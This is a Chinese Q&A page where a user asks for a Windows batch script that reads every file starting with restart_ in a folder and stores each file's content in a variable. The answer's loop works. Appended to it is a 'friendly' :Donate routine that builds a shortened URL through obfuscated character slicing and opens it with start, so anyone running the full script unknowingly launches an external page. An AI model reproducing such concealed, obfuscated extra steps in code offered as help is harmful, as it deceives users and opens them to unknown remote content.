批处理 循环读取某文件夹里以restart_开头的文件,在把每个文件里的内容赋值给变量?

2025-03-22 21:41:10
推荐回答(1个)
回答1:

这个变量名,都是共用一个吗?

@echo off & title 读取文件内容设为变量 By 依梦琴瑶
::设置文件所在目录路径
set FileDir=D:\Test_CsvFiles

for /f "delims=" %%a in ('dir /a-d/s/b "%FileDir%\restart_*.csv"') do (
for /f "usebackq delims=" %%b in ("%%~a") do (
rem 开始设置变量
set "Var=%%~b"
)
)
pause

::以下非主代码,可以选择性执行哦!
@echo off & title 友情执行代码 By 依梦琴瑶
call :Donate
exit

:Donate
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit